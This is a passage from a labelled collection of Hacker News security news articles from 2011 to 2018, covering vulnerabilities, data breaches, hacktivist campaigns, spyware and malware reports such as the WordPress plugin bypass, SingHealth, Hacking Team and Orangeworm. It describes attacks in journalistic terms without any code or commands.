Security researchers have discovered a critical yet easy-to-exploit authentication bypass vulnerability in both widely-used premium WordPress plugins that could allow remote attackers to gain administrative access to sites without requiring any password.

What's more worrisome is that opportunistic attackers have already started exploiting this vulnerability in the wild within 2 days of its discovery in order to compromise vulnerable WordPress websites and install a malicious backdoor for later access.

Both vulnerable plugins, made by software development company Brainstorm Force, are currently powering over hundreds of thousands of WordPress websites using Elementor and Beaver Builder frameworks, helping website admins and designers extend the functionality of their websites with more widgets, modules, page templates.

Discovered by researchers at web security service MalCare, the vulnerability resides in the way both plugins let WordPress account holders, including administrators, authenticate via Facebook and Google login mechanisms.

Image credit: WebARX

According to the vulnerability's advisory, due to lack of checks in the authentication method when a user login via Facebook or Google, vulnerable plugins can be tricked into allowing malicious users to login as any other targeted user without requiring any password.

""However, the Facebook and Google authentication methods did not verify the token returned by Facebook and Google, and since they don't require a password, there was no password check,"" explained WebARX researchers, who also analysed the flaw and confirmed its active exploitation.

""To exploit the vulnerability, the hacker needs to use the email ID of an admin user of the site. In most cases, this information can be retrieved fairly easily,"" MalCare said.

In an email to The Hacker News, WebARX confirmed that attackers are abusing this flaw to install a fake SEO stats plugin after uploading a tmp.zip file on the targeted WordPress server, which eventually drops a wp-xmlrpc.php backdoor file to the root directory of the vulnerable site.

MalCare discovered this vulnerability on Wednesday that affects below-listed versions of the plugins and reported it to the developers on the same day, who then quickly addressed the issue and released patched versions of both within just 7 hours.


Ultimate Addons for Elementor <= 1.20.0
Ultimate Addons for Beaver Builder <= 1.24.0


The authentication bypass vulnerability has been patched with the release of ""Ultimate Addons for Elementor version 1.20.1"" and ""Ultimate Addons for Beaver Builder version 1.24.1,"" which affected websites are highly recommended to install as soon as possible.

",Vulnerability
Immediately Patch Windows 0-Day Flaw That's Being Used to Spread Spyware,https://thehackernews.com/2017/09/windows-zero-day-spyware.html,"Get ready to install a fairly large batch of security patches onto your Windows computers.

As part of its September Patch Tuesday, Microsoft has released a large batch of security updates to patch a total of 81 CVE-listed vulnerabilities, on all supported versions of Windows and other MS products.

The latest security update addresses 27 critical and 54 important vulnerabilities in severity, of which 38 vulnerabilities are impacting Windows, 39 could lead to Remote Code Execution (RCE).

Affected Microsoft products include:

Internet Explorer
Microsoft Edge
Microsoft Windows
.NET Framework
Skype for Business and Lync
Microsoft Exchange Server
Microsoft Office, Services and Web Apps
Adobe Flash Player


.NET 0-Day Flaw Under Active Attack

According to the company, four of the patched vulnerabilities are publicly known, one of which has already been actively exploited by the attackers in the wild.

Here's the list of publically known flaws and their impact:

Windows .NET Framework RCE (CVE-2017-8759)—A zero-day flaw, discovered by researchers at cybersecurity firm FireEye and privately reported it to Microsoft, resides in the way Microsoft .NET Framework processes untrusted input data.

Microsoft says the flaw could allow an attacker to take control of an affected system, install programs, view, change, or delete data by tricking victims into opening a specially crafted document or application sent over an email.

The flaw could even allow an attacker to create new accounts with full user rights. Therefore users with fewer user rights on the system are less impacted than users who operate with admin rights.

According to FireEye, this zero-day flaw has actively been exploited by a well-funded cyber espionage group to deliver FinFisher Spyware (FinSpy) to a Russian-speaking ""entity"" via malicious Microsoft Office RTF files in July this year.

FinSpy is a highly secret surveillance software that has previously been associated with British company Gamma Group, a company that legally sells surveillance and espionage software to government agencies.

Once infected, FinSpy can perform a large number of secret tasks on victims computer, including secretly monitoring computers by turning ON webcams, recording everything the user types with a keylogger, intercepting Skype calls, copying files, and much more.

""The [new variant of FINSPY]...leverages heavily obfuscated code that employs a built-in virtual machine – among other anti-analysis techniques – to make reversing more difficult,"" researchers at FireEye said.

""As likely another unique anti-analysis technique, it parses its own full path and searches for the string representation of its own MD5 hash. Many resources, such as analysis tools and sandboxes, rename files/samples to their MD5 hash in order to ensure unique filenames.""

Three Publicly Disclosed Vulnerabilities

The remaining three publicly known vulnerabilities affecting the Windows 10 platform include:

Device Guard Security Feature Bypass Vulnerability (CVE-2017-8746): This flaw could allow an attacker to inject malicious code into a Windows PowerShell session by bypassing the Device Guard Code Integrity policy.
Microsoft Edge Security Feature Bypass Vulnerability (CVE-2017-8723): This flaw resides in Edge where the Content Security Policy (CSP) fails to properly validate certain specially crafted documents, allowing attackers to trick users into visiting a website hosting malware.
Broadcom BCM43xx Remote Code Execution Vulnerability (CVE-2017-9417): this flaw exists in the Broadcom chipset in HoloLens, which could be exploited by attackers to send a specially crafted WiFi packet, enabling them to install programs, view, change, or delete data, even create new accounts with full admin rights.

BlueBorne Attack: Another Reason to Install Patches Immediately

Also, the recently disclosed Bluetooth vulnerabilities known as ""BlueBorne"" (that affected more than 5 Million Bluetooth-enabled devices, including Windows, was silently patched by Microsoft in July, but details of this flaw have only been released now.

BlueBorne is a series of flaws in the implementation of Bluetooth that could allow attackers to take over Bluetooth-enabled devices, spread malware completely, or even establish a ""man-in-the-middle"" connection to gain access to devices' critical data and networks without requiring any victim interaction.

So, users have another important reason to apply September security patches as soon as possible in order to keep hackers and cyber criminals away from taking control over their computers.

Other flaws patched this month include five information disclosure and one denial of service flaws in Windows Hyper-V, two cross-site scripting (XSS) flaws in SharePoint, as well as four memory corruption and two remote code execution vulnerabilities in MS Office.

For installing security updates, simply head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates manually.


",Vulnerability
"Singapore's Largest Healthcare Group Hacked, 1.5 Million Patient Records Stolen",https://thehackernews.com/2018/07/singapore-healthcare-breach.html,"Singapore's largest healthcare group, SingHealth, has suffered a massive data breach that allowed hackers to snatch personal information on 1.5 million patients who visited SingHealth clinics between May 2015 and July 2018.

SingHealth is the largest healthcare group in Singapore with 2 tertiary hospitals, 5 national specialty , and eight polyclinics.

According to an advisory released by Singapore's Ministry of Health (MOH), along with the personal data, hackers also managed to stole 'information on the outpatient dispensed medicines' of about 160,000 patients, including Singapore's Prime Minister Lee Hsien Loong, and few ministers.

""On 4 July 2018, IHiS' database administrators detected unusual activity on one of SingHealth's IT databases. They acted immediately to halt the activity,"" MOH said.

The stolen data includes the patient's name, address, gender, race, date of birth, and National Registration Identity Card (NRIC) numbers.

The Ministry of Health said the hackers ""specifically and repeatedly"" targeted the PM's ""personal particulars and information on his outpatient dispensed medicine.""

So far there's no evidence of who was behind the attack, but the MOH stated that the cyber attack was ""not the work of casual hackers or criminal gangs."" The local media is also speculating that the hack could be a work of state-sponsored hackers.

Investigations by the Cyber Security Agency of Singapore (CSA) and the Integrated Health Information System (IHiS) also confirmed that ""this was a deliberate, targeted, and well-planned cyberattack.""

PM Comments On SingHealth Healthcare Data Breach

Commenting on the cyber attack through a Facebook post published today, Singapore's Prime Minister said he believes that the attackers are ""extremely skilled and determined"" and they have ""huge resources"" to conduct such cyber attacks repeatedly.

""I don't know what the attackers were hoping to find. Perhaps they were hunting for some dark state secret or at least something to embarrass me. If so, they would have been disappointed,"" Singapore PM said. ""My medication data is not something I would ordinarily tell people about, but nothing is alarming in it.""
The Singapore government has assured its citizens that no medical records were tampered, or deleted and that no diagnoses, test results, or doctors' notes were stolen in the attack.

All affected patients will be contacted by the healthcare institution over the next five days.

Since the healthcare sector is part of the critical nation's infrastructure, alongside water, electricity, and transport, it has increasingly become an attractive target for hackers.

In the past few years, we have reported several hacks and data breaches, targeting the healthcare sector. Just last month, it was revealed that DNA registries of more than 92 million MyHeritage customers were stolen in the previous year by some unknown hackers.

Earlier this year, it was reported that more than half of Norway's population exposed its healthcare data in a massive data breach that targeted the country's major healthcare organization.

The foremost thing to protect against any data breach is to stay vigilant, as nobody knows when or where your stolen identities will be used. So, affected consumers will just have to remain mindful.
",Data_Breaches
#OpIsrael - 7 APRIL Anonymous calls to army for massive attack against Israel,https://thehackernews.com/2013/04/opisrael-7-april-anonymous-calls-to.html,"We are on the eve of the fateful day, April 7th, the collective of Anonymous announced a massive cyber attack against the state of Israel as part of the campaign started in the last months and named #OpIsrael.
The hacktivists are conducting a massive call to army to recruit new forces and inform all the members of collective of the cyber attack planned against Israeli network infrastructures.

The hacktivists protest against Israeli bombing of Palestinian territory expressing solidarity with the Palestinian people condemning Israeli Government and its decisions.

The hackers motivated to The Hackers Post website their participation with following statement: ""Israel isn't stopping human rights violations. It's to show solidarity with newly recognized Palestinian state."" ""the hacking teams have decided to unite against Israel as one entity…Israel should be getting prepared to be erased from the internet.""


Anonymous has promised to 'erase Israel from the internet' in a coordinated and massive cyber attack planned on April 7th, the Holocaust Memorial Day that occur on 27 Nisan (April/May) to remember the event happened during the summer of 1942 when about 300,000 Jews were deported from Warsaw to Treblinka.

Following the message posted by Anonymous collective states:
""To the government of Israel: You have NOT stopped your endless human right violations. You have NOT stopped illegal settlements. You have NOT respected the ceasefire. You have shown that you do NOT respect international law,"" the group of hackers also published a video on YouTube video renewing accusations against Israeli government that menaced to shut down the internet in Gaza. ""When the government of Israel publicly threatened to sever all internet and other telecommunications in and outside of Gaza, they crossed a line in the sand,"".

The menace is creating considerable apprehension among the Israeli authorities, majority of the main hacktivist cells has already confirmed the adhesion, most of them in the past have been guilty of attacks on government organizations and offices, Israel Government is very concerned and is organizing its defense to mitigate the offensive.

Director of online webpage Accessible Government, Ben Avi, reported to Haaretz website:
""what distinguishes this plan when compared to previous attacks is that it really seems to be organized by Anonymous-affiliated groups from around the world in what looks like a joining of forces.""

Let's remember that during last initiatives related to #OpIsrael campaign around 700 Israeli websites have been hit including high-profile government systems such as Israeli President's official website and the Foreign Ministry. Official sources of Israel State reported around 44 million unique attacks on government websites, principal websites of the country suffered DDoS attacks and hacker also obtained personal data related to Israeli officials.

Israel Government is preparing the defense alerting managers of principal infrastructures of the country, Deputy Information Security Officer Ofir Cohen confirmed with an e-mail sent to Knesset ISP employees that government websites are expected to face distributed denial of service (DDoS) attacks and attempts at vandalism.

""The estimations are that [the cyber-attacks] will reach an unusual level that we have never seen before,""

The Information Security Department of the Knesset is working to put in place all necessary measure to mitigate the attacks and protect information stored on principal government networks.

The battlefield is not only represented by companies' networks and government network assets, every machine exposed on the internet is a possible target of the hacktivists and its impairment could advantage further attacks, a large scale campaign needs also the participation of a huge quantity of compromised machines.

I suggest to the readers the analysis proposed by AnalysisInetelligence, it sustains that the attacks against Israel could be supported by state-sponsored attackers. AnalysisInetelligence web site states:

""We recently reported on the revival of Operation Israel (#OpIsrael) being coordinated by a group of hackers aligned with Anonymous. The coalition of hackers appears to have ties to the Iranian government, Pakistan, Syria, Egypt, and the terror group Hezbollah, according to a report published by Cryptome.: ""

""The attributions are to the best of our knowledge, based on language analysis, history and helps from our sources who speak Arabic ( various forms ) and Farsi ( various forms, mostly Persian ) natively:
AnonGhost ( distributed - freelance )AnonymousPal ( U.S and E.U - freelance )
OsamaTheGod ( false flag )
Teamr00t ( Pakistan - ideological )
Hannibal ( Anti-OPISRAEL , inside fight , Indian - freelance )
PunkBoyinSF ( Egyptian ties - freelance )
Mauritania HaCker Team ( distributed - freelance )
ajax Team ( unknown )
MLA - Muslim Liberation Army ( ties to Pakistan )
Gaza Hacker Team ( Palestinians in U.S and E.U , perhaps some members in Arab countries as well )
Gaza Security Team ( same )
Gaza Security Team ( ties to Syria - Syrian nationals - freelance )
Algerian Hacker ( unknown )
Iranian Cyber Army ( Iran , hired hackers based in Iran )
Remember Emad ( Joint Lebanese and Iranian effort - high likely state-backed )
Parastoo ( Iranian , reported to have ties with IRGC-QF and Hezbollah )
Syrian Electronic Army ( reported to be controlled by elements of pro-Hezbollah activists )
Our analysis to the moment shows not much of coordination between these groups contrary to the popular belief and the sum of human resources all together to the best of our current analysis is not more than 50 individuals. The collectives with Arab leanings are not much advanced, have ties with residents of European and U.S and they are mostly relay on Dumps and Botnets. The teams with Pakistani, Syrians and Lebanese members are more advanced and reported to have ties with governments. Iranian teams are just using the situation to harm Israel and U.S interests and reported to be directly funded by IRGC and MOIS, the Iranian Intelligence.""

The risk that behind the attacks there is also the support of hostile governments is high but I exclude that the attacks have been planned with this specific intent … historically Anonymous fights for defense of human rights and free access to Internet. My principal concern is related to the possible infiltration operated by state sponsored hackers that could benefit of the large scale attack to hide their operations and increase the powerful of the cyber offensive.

",Cyber_Attack
Flaw in Emergency Alert Systems Could Allow Hackers to Trigger False Alarms,https://thehackernews.com/2018/04/hacking-emergency-alert-sirens.html,"A serious vulnerability has been exposed in ""emergency alert systems"" that could be exploited remotely via radio frequencies to activate all the sirens, allowing hackers to trigger false alarms.

The emergency alert sirens are used worldwide to alert citizens about natural disasters, man-made disasters, and emergency situations, such as dangerous weather conditions, severe storms, tornadoes and terrorist attacks.

False alarms can create panic and chaos across the city, as witnessed in Dallas last year, when 156 emergency sirens were turned on for about two hours, waking up residents and sparking fears of a disaster.

Dubbed ""SirenJack Attack,"" the vulnerability discovered by a researcher at Bastille security firm affects warning sirens manufactured by Boston-based ATI Systems, which are being used across major towns and cities, as well as Universities, military facilities, and industrial sites.

According to Balint Seeber, director of threat research at Bastille, since the radio protocol used to control affected sirens is not using any kind of encryption, attackers can simply exploit this weakness to activate sirens by sending a malicious activation message.

""All that is required is a $30 handheld radio and a computer,"" Seeber claims.
To perform the SirenJack attack, a hacker needs to be in the radio range and identify the radio frequency used by the targeted siren in order to send a specially crafted message.
""Once the frequency was found, analysis of the radio protocol quickly showed that commands were not encrypted and therefore vulnerable to forgery, rendering the system susceptible to malicious activations,"" Seeber explains.
Researcher finds that Outdoor Public Warning System implemented within the City of San Francisco, designed to alert residents and visitors of about possible danger, has more than 100 warning sirens that malicious hackers can exploit to cause widespread panic and annoyance across the city.

Seeber responsibly disclosed this issue to ATI Systems 90 days ago (on January 8). ATI Systems says the patch is being tested and will shortly be made available to fix its systems implemented in the City of San Francisco.

However, ATI Systems noted that installing the patch is not easy since many of its products are designed depending upon specific needs of each of its customers.
Therefore, customers are advised to contact ATI Systems to determine if they have a vulnerable configuration and/or flawed version of the system, and then take the appropriate steps suggested to remediate the issue.

Bastille researchers also encourage other siren manufacturers to ""investigate their own systems to patch and fix this type of vulnerability,"" in case they find it.

",Vulnerability
Games.com XSS Vulnerability by Cyber4rt,https://thehackernews.com/2011/09/gamecom-xss-vulnerability-by-cyber4rt.html,"Games.com XSS Vulnerability by Cyber4rt

One of the Biggest site for Hasbro Games, Video Games & Online Games - Games.com having XSS Vulnerability as shown in screenshot and Discovered by ""Acizninja DeadcOde"" at Cyber4rt.

",Vulnerability
'Hacking Team' Gets Hacked! 500GB of Data Dumped Over the Internet,https://thehackernews.com/2015/07/Italian-hacking-team-software.html,"Yes, sometimes even the Hackers get Hacked.

Hacking Team, one of the most controversial spyware and malware providers to governments and law enforcement agencies all around the world, allegedly been hacked, with some 500 gigabytes of internal data leaked over the Internet.

The leaked data indicates that despite its denials, the spyware company did sell powerful spyware tools to oppressive regimes in Sudan, Bahrain, Ethiopia and Saudi Arabia.

Massive Data Breach at Hacking Team

The unknown hackers not only managed to make 500 GB of client files, financial documents, contracts and internal emails, publicly available for download, but also defaced Hacking Team's own Twitter account, replacing the company's logo to ""Hacked Team.""

Hacking Team, also known as HT S.r.l, is an Italian company known for providing powerful surveillance software Remote Code System (RCS) to Governments and law enforcement agencies.

The company previously claimed to only deal with ethical governments, although they have never formally disclosed the list of names and businesses.

However, the data breach happened to Hacking Team appears to have revealed the list of its clients somehow.

Hacking Team's Twitter Account Defaced
At the time of writing, the Twitter account linked to Hacking Team is currently compromised, with its new bio reads:
""Developing ineffective, easy-to-pwn offensive technology to compromise the operations of the worldwide law enforcement and intelligence communities.""
A tweet composed by unknown hackers reads, ""Since we have nothing to hide, we are publishing all our emails, files, and source code,"" with the link to around 500GB of data.

Leaked Data Posted Online
The leaked data has been uploaded to BitTorrent, allegedly including email communications, audio recordings, and source code. The data disclosed Hacking Team customers along with the dates of their purchasing the software.

A few hours later, the list of alleged Hacking Team customers, including the past and current clients, was posted on Pastebin. The most notable and previously unknown ones are the FBI, Spain, Australia, Chile, and Iraq, among others.

Hacking Team's Christian Pozzi Twitter Account Hacked
The Twitter account of Christian Pozzi (@christian_pozzi), a Hacking Team representative who was personally exposed by the incident, is also get hacked few minutes ago.

Hacking Team has yet to verify that it has been breached and that the hacked information is legitimate. As it's hard to say the leaked data is real without any confirmation from the company itself.

",Malware
UK banks hit by Ramnit banking malware and social engineering attacks,https://thehackernews.com/2013/05/uk-banks-hit-by-ramnit-banking-malware.html,"A dangerous variant of the Ramnit malware has been discovered targeting the UK's financial sector. Trusteer claims to have discovered an interesting trojan based attack technique that injects highly convincing and interactive real-time messages into the user Web stream that they encounter when logging into a UK online banking session.

The Ramnit worm was discovered in 2010, but in 2011 researchers spotted a new strain that had incorporated source code from the notorious Zeus banking trojan.

Cyber criminals are stepping up their use of social engineering techniques to bypass increasingly security-aware users of online banking and e-commerce sites.
The malware reportedly avoids detection by going into an idle sleep mode until its intended victim logs into their online bank account, at which point it activates and presents them with a fraudulent phishing message.


Ramnit circumvented the OTP feature at the target bank using a 'Man in the Browser' attack to inject bogus HTML pages into a customer's online banking session. Malware variants present the victim with new input fields, security warnings and customized text during login, account navigation and transactions. Some malware variants go as far as creating custom, localized pages that are generated based on the victim's language preference.

This semi-automated approach, says Maor, allows the cybercriminals to inject highly specific `error messages' that pop up on the screens of the online banking user in their local language. While the victim is reading the messages, Ramnit connects to its command and control server and obtains the details of a designated money laundering bank account and sets up a wire transfer.

""The fact that they've changed the FAQ section to support this fake new process is astonishing to me in terms of details,"" Moar said. ""The attackers are exploiting the trust relationship the user has with the bank. They have no idea the malware is in the middle and injecting new screens. It's amazing how much effort they put into making sure someone falls victim; it's a new level of social engineering.""

Online scammers have become increasingly sophisticated in attacks. So far, fewer than 10 banks have been targeted in the U.K.

",Cyber_Attack
"Hackers Steal Payment Card Data From Over 1,150 InterContinental Hotels",https://thehackernews.com/2017/04/hotel-data-breach.html,"InterContinental Hotels Group (IHG) is notifying its customers that credit card numbers and other sensitive information may have been stolen after it found malware on payment card systems at 1,174 franchise hotels in the United States.

It's the second data breach that U.K.-based IHG, which owns Holiday Inn and Crowne Plaza, has disclosed this year. The multinational hotel conglomerate confirmed a credit card breach in February which affected 12 of its hotels and restaurants.

What happened?
IHG identified malware accessing payment data from cards used at front desk systems between September 29 and December 29, 2016, but the malware was erased after the investigation got completed in March 2017.
""Many IHG-branded locations are independently owned and operated franchises and certain of these franchisee operated locations in the Americas were made aware by payment card networks of patterns of unauthorized charges occurring on payment cards after they were legitimately used at their locations,"" read the notice published to IHG's site on Friday.
What type of information?
The malware obtained credit card data, such as cardholders' names, credit card numbers, expiration dates and internal verification codes, from the card's magnetic stripe, although the company said there is no evidence of any unauthorized access to payment card data after late December.

However, the company can not confirm that the malware was removed until February and March 2017, when it began its investigation around the data breach.

How many victims?
The total number of affected customers is not revealed by the company, although customers can use a lookup tool IHG has posted on its website to search for hotels by city and state.

The company says this most recent breach mostly affects guests from U.S-based hotels, who stayed between September 29 and December 29, 2016. The 1,174 hotels breached in the US include, 163 in Texas, 64 in California, 61 in Florida, 53 in Indiana, 50 in Ohio, 45 in New York, 42 in Michigan, 39 in Illinois, among others.

Only one hotel in Puerto Rico, a Holiday Inn Express in San Juan, is the non-U.S. hotel that was hit by malware.

Who are not affected by the breach?
Those franchise hotel locations that had implemented IHG's Secure Payment Solution (SPS) – a point-to-point encryption payment acceptance solution – before 29th September 2016 were not affected by this data breach.

IHG is advising all franchise hotels to implement SPS in order to protect themselves from such malware attacks, though the company also said, many more properties implemented SPS after September 29, 2016, which ended the malware's ability to find payment card data.

What is the IHG doing?
IHG has already notified law enforcement of the recent data breach.

Moreover, on behalf of franchisees, the company has been working closely with the payment card networks and the cyber security firm to confirm that the malware has been removed and evaluate ways for franchisees to enhance security measures.

What should IHG customers do?
Users are advised to review their payment card statements carefully and to report any unauthorized bank transactions.

You should also consider requesting a replacement card if you visited any of the affected properties during that three months duration when the breach was active.
""The phone number to call is usually on the back of your payment card. Please see the section that follows this notice for additional steps you may take,"" the company says.
IHG became the latest hotel chain to report a potential customer data breach in past few years, following the data breach in Hyatt, Hilton, Mandarin Oriental, Starwood, White Lodging and the Trump Collection that acknowledged finding malware in their payment systems.

",Data_Breaches
"Facebook Unveils ThreatData, a framework for Web Security",https://thehackernews.com/2014/03/facebook-unveils-threatdata-framework.html,"Defending and Analysis of online threats and malwares have become more challenging nowadays and especially for larger businesses like the popular social networking site - Facebook. To encounter malware, phishing, and other online threats, Facebook has taken an important step forward.

Facebook has unveiled its latest security-focused platform, dubbed as 'ThreatData', which is a framework that aims to standardize its methods for collecting and analyzing data.

The ThreatData framework is implemented to import information about the various online threats, malware, phishing and other internet risks, then storing it proficiently for real-time and long-term analysis as well. It consists of three high level components i.e. Feeds, Data storage, and Real-time response.

FEEDS: Feeds will collect data from a distinct source and implement them via a lightweight interface.

""Here are some examples of feeds we have implemented: Malware file hashes from VirusTotal; Malicious URLs from multiple open source blogs and malware tracking sites; Vendor-generated threat intelligence we purchase; Facebook's internal sources of threat intelligence; and Browser extensions for importing data as a Facebook security team member reads an article, blog, or other content,"" detailed in a blog post on Tuesday.

DATA STORAGE: The data received by various Information Security firms and vendors are in different format, so the framework brought it in a common and simple format, which they call a ThreatDatum. ThreatDatums are then routed for short-term and long-term analysis through its two existing data repository systems, Hive and Scuba.
Hive storage is used to answer questions based on long-term data:
Have we ever seen this threat before?
What type of threat is more prevalent from our perspective: malware or phishing?
Scuba gives us the opposite end of the analysis spectrum:
What new malware are we seeing today?
Where are most of the new phishing sites?
REAL-TIME RESPONSE: After storing the data, a processor is built to easily and quickly address all the threats, such as:
All malicious URLs collected from any feed are sent to the same blacklist in order to protect the Facebook users.
Interesting malware file hashes are automatically downloaded from known malware repositories, stored, and sent for automated analysis.
Threat data are propagated to our homegrown security event management system, which is used to protect Facebook's corporate networks.
""In a typical corporate environment, a single anti-virus product is deployed to all devices and used as a core defense. In reality, however, no single anti-virus product will detect all threats. Some vendors are great at detecting certain types of malware, while others can detect a wide array of threats but are more likely to mislabel them. We decided we would employ our framework to construct a light-weight set of hashes expressly not detected by our chosen anti-virus product and feed those hashes directly into our custom security event management system. The results have been impressive: we've detected both adware and malware installed on visiting vendor computers that no single anti-virus product could have found for us."" Faceook explained.

THREATDATA IN ACTION:
In 2013, Facebook team investigated a spam campaign, that was using fake Facebook accounts to spread links to malware designed for feature phones and capable of stealing a victim's address book, sending premium SMS spam, and using the phone's camera to take pictures.

They analyzed the malware using ThreatData, located the origin of the malware and disrupt the spam campaign to shut down the botnet's infrastructure.
Also, the image above shows a graph Facebook developed using ThreatData to map malicious and victimized IP addresses, with the pie chart breaking that data down by ISP in the United States. For now the framework is just for Facebook's internal use.

",Malware
Spy Agencies Hijack Google Play Store to Install Spyware on Smartphones,https://thehackernews.com/2015/05/hacking-google-play-store.html,"I have an Android phone with a five different gmail accounts configured in it. But what if any one of them get compromised via phishing, malware or any other way?

The Hacker would be able to access my Google account and obviously Google Play Store account too, which allows anyone to install any Android application remotely into my phone without my knowledge and confirmation…

What if someone compromises large number of Google accounts and trigger mass installation of a spying or malware app remotely with just one click????

Yes, this was exactly what the National Security Agency (NSA) had done under its widely spread Global surveillance program.

A new top-secret document obtained from the former NSA contractor Edward Snowden revealed that the NSA and its closest allies planned to hijack Google and Samsung app stores to infect smartphones with spyware.

The operation was launched by the Network Tradecraft Advancement Team, including spy agents from each of the countries in the so-called Five Eyes intelligence alliance — the United States, the United Kingdom, Canada, New Zealand and Australia.

According to the documents published Wednesday by CBC News in collaboration with The Intercept, the NSA, and the Five Eyes were working on ways to exploit smartphone technology for the purpose of surveillance.

PROJECT IRRITANT HORN

During the workshops held in Canada and Australia between November 2011 and February 2012, the Tradecraft unit dedicatedly looked for ways to find and hijack data links to servers used by Google and Samsung's mobile app stores.

As part of a project codenamed IRRITANT HORN, the team targeted app store servers where smartphone users get directed whenever they download or update any app from Google or Samsung app stores.

But why the Five Eyes alliance hijacking servers?

Simply, the team wanted to implant spyware on smartphones using man-in-the-middle attacks to infect the smartphones. The man-in-the-middle attack is a technique used by cyber criminals to intercept the communication and steal sensitive data passing through it.

In this case, the technique would have let the spy agencies modify the content of data packets transmitting between the targeted smartphones and the app store servers, ultimately inserting spyware on smartphones to take control of a person's device and covertly extract data from it.

Moreover, the spy agencies used its powerful Internet spying tool ""XKeyScore"" to identify targets by matching their targets' smartphones to their online activities, such as emails, chats and browsing histories in order to build the profiles of people they were tracking.

Exploited UC Browser Privacy Vulnerabilities:

Another major revelation from the documents was the spy agencies' efforts to discover privacy flaws in one of the world's most popular mobile Internet browsers UC Browser — an app used to browse fast Internet across Asia, specifically in China and India with massive user base of half a Billion people.

The agencies tapped into UC Browser and exploited the weakness to collect data on suspected terrorists and other national intelligence targets, and in some cases, implant spyware on targeted smartphones.

When analyzed the Android version of the UC Browser app, it was found ""major security and privacy issues"" in its English and Chinese editions, putting millions of its users' data at risk, says a human rights and technology research group in Toronto, Citizen Lab.

National Security vs. Users' Privacy

""Of course, the user of this application has no idea that this is going on,"" says Ron Deibert, director of the Citizen Lab. ""They just assume when they open a browser that the browser's doing what it should do. But, in fact, it's leaking all this information.""
The researchers have published their technical report detailing the many ways the UC Browser app has been leaking data, including SIM card numbers, search queries and unique device IDs that can be used to track people.

Deibert says the privacy vulnerabilities in the UC Browser not only exposed Millions of its users to surveillance carried out by government agencies, but it could also have been exploited by malicious hackers to harvest users' personal data for years.

The problem is straight — by secretly exploiting privacy and security vulnerabilities in popular software for years, these spy agencies are putting ordinary users at risk.

These agencies are also making it easier for criminal hackers by opening loopholes, instead of reporting them to the companies so that they can be fixed on time.

",Malware
How to Steal Bitcoin Wallet Keys (Cold Storage) from Air-Gapped PCs,https://thehackernews.com/2018/04/bitcoin-wallet-keys.html,"Dr. Mordechai Guri, the head of R&D team at Israel's Ben Gurion University, who previously demonstrated various methods to steal data from an air-gapped computer, has now published new research named ""BeatCoin.""

BeatCoin is not a new hacking technique; instead, it's an experiment wherein the researcher demonstrates how all previously discovered out-of-band communication methods can be used to steal private keys for a cryptocurrency wallet installed on cold storage, preferably an air-gapped computer or Raspberry Pi.

For those unaware, keeping your cryptocurrency protected in a wallet on a device which is entirely offline is called cold storage. Since online digital wallets carry different security risks, some people prefer keeping their private keys offline.

Air-gapped computers are those that are isolated from the Internet, local networks, Bluetooth and therefore, are believed to be the most secure devices and are difficult to infiltrate or exfiltrate.

If you are new to this topic, we recommend reading our previous articles, detailing how highly-motivated attackers can use specially designed malware to exfiltrate data from an air-gapped computer via light, sound, heat, electromagnetic, magnetic, infrared, and ultrasonic waves.
For BeatCoin experiment, Dr. Guri deployed malware on an air-gapped computer that runs a Bitcoin wallet application and then performed each attack vector one-by-one to transmit the wallet keys to a nearby device over covert channels.
""In the adversarial attack model, the attacker infiltrates the offline wallet, infecting it with malicious code,"" the paper [PDF] reads. ""The malware can be pre-installed or pushed in during the initial installation of the wallet, or it can infect the system when removable media (e.g., USB flash drive) is inserted into the wallet's computer in order to sign a transaction. These attack vectors have repeatedly been proven feasible in the last decade.""
Results shown in the above chart suggests AirHopper, MOSQUITO, and Ultrasonic techniques are the fastest way to transmit a 256-bit private key to a remote receiver, whereas, Diskfiltration and Fansmitter methods take minutes.

Guri has also shared two videos. The first one demonstrates exfiltration of private keys from an air-gapped computer, which hardly took a few seconds to transmit data to a nearby smartphone using ultrasonic waves.
In the second video, the researcher transmitted private keys stored on a Raspberry Pi device to the nearby smartphone using the RadIoT attack—a technique to exfiltrate data from air-gapped internet-of-things (IoT) and embedded devices via radio signals.
""The radio signals - generated from various buses and general-purpose input/output (GPIO) pins of the embedded devices - can be modulated with binary data. In this case, the transmissions can be received by an AM or FM receiver located nearby the device.""
In the last research published earlier this month, Guri's team also demonstrated how hackers could use power fluctuations in the current flow ""propagated through the power lines"" to covertly exfiltrate highly sensitive data out of an air gapped-computer.

",Malware
Hackers Behind Healthcare Espionage Infect X-Ray and MRI Machines,https://thehackernews.com/2018/04/healthcare-cyber-attacks.html,"Security researchers have uncovered a new hacking group that is aggressively targeting healthcare organizations and related sectors across the globe to conduct corporate espionage.

Dubbed ""Orangeworm,"" the hacking group has been found installing a wormable trojan on machines hosting software used for controlling high-tech imaging devices, such as X-Ray and MRI machines, as well as machines used to assist patients in completing consent forms.

According to a new report published by Symantec on Monday, the Orangeworm hacking group has been active since early 2015 and targeting systems of major international corporations based in the United States, Europe, and Asia with a primary focus on the healthcare sector.
""We believe that these industries have also been targeted as part of a larger supply-chain attack in order for Orangeworm to get access to their intended victims related to healthcare,"" Symantec said.
After getting into the victim's network, attackers install a trojan, dubbed Kwampirs, which opens a backdoor on the compromised computers, allowing attackers to remotely access equipment and steal sensitive data.

While decrypting, the Kwampirs malware inserts a randomly generated string into its main DLL payload in an attempt to evade hash-based detection. The malware also starts a service on the compromised systems to persist and restart after the system reboots.

Kwampirs then collects some basic information about the compromised computers and send it to the attackers to a remote command-and-control server, using which the group determines whether the hacked system is used by a researcher or a high-value target.
If the victim is of interest, the malware then ""aggressively"" spread itself across open network shares to infect other computers within the same organisation.

To gather additional information about the victim's network and compromised systems, the malware uses system's built-in commands, instead of using third-party reconnaissance and enumeration tools.

Above shown list of commands help attackers to steal information including, ""any information pertaining to recently accessed computers, network adapter information, available network shares, mapped drives, and files present on the compromised computer.""

Besides health-care providers and pharmaceutical companies that account for nearly 40% of targets, Orangeworm has also launched attacks against other industries including information technology and manufacturing sectors, agriculture, and logistics.

However, these industries also somehow work for healthcare, like manufacturers that make medical devices, technology companies that offer services to clinics, and logistics firms that deliver healthcare products.
Although the exact motive of Orangeworm is not clear and there's no information that could help determine the group's origins, Symantec believes the group is likely conducting espionage for commercial purposes and there's no evidence that it's backed by a nation-state.
""Based on the list of known victims, Orangeworm does not select its targets randomly or conduct opportunistic hacking,"" Symantec said. ""Rather, the group appears to choose its targets carefully and deliberately, conducting a good amount of planning before launching an attack.""
